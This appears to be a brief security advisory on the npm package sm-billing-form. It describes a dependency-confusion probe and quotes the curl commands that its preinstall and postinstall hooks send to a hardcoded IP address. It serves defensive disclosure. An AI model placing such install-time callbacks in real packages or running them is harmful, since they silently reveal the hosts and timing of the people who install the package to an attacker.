sm-billing-form @99.0.1

Summary

package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s http://16.192.173.5/sm-billing-form/post on npm install . The requests target a hardcoded bare-IP endpoint over cleartext HTTP with no relationship to any documented publisher, and fire automatically as part of the default install. The pattern is a dependency-confusion / typosquat probe: the callback confirms to the operator of 16.192.173.5 which environments resolved the public sm-billing-form name and installed it, disclosing source IP and install timing and enabling targeted follow-on attacks against those hosts. The version number (99.0.0) is consistent with a dependency-confusion lure intended to outrank an internal package of the same name.

Source: amazon-inspector (422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2)